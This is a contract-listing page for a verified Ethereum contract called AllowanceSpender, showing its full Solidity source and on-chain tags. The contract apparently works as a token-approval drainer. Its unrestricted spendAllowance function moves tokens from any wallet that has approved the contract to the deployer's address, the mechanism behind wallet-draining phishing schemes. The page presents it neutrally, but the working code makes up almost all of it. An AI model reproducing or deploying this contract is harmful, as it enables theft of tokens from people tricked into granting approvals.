AllowanceSpender

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
// nice dgrd
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address from, address to, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
}

contract AllowanceSpender {
    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    event Spent(address token, address from, uint amount);

    function spendAllowance(address tokenAddress, address from, uint amount) external {
        IERC20 token = IERC20(tokenAddress);

        uint allowed = token.allowance(from, address(this));
        require(allowed >= amount, "Not enough allowance");

        (bool success, bytes memory data) = tokenAddress.call(
    abi.encodeWithSelector(IERC20.transferFrom.selector, from, owner, amount)
);
require(success, "Low-level transferFrom failed");

// If the token returns data, check it == true
if (data.length > 0) {
    require(abi.decode(data, (bool)), "ERC20 transferFrom returned false");
}

        emit Spent(tokenAddress, from, amount);
    }
}

Tags:
addr:0x57a22fad0b08e4fdcf48fe913031b27296ba0d4e|verified:true|block:23637622|tx:0x41b8adf7e2f7abc5233db5f10534a4fca8a7cc182e328037bf41adb8fd990fab|first_check:1761301628

Submitted on: 2025-10-24 12:27:11

Comments

Log in to comment.

No comments yet.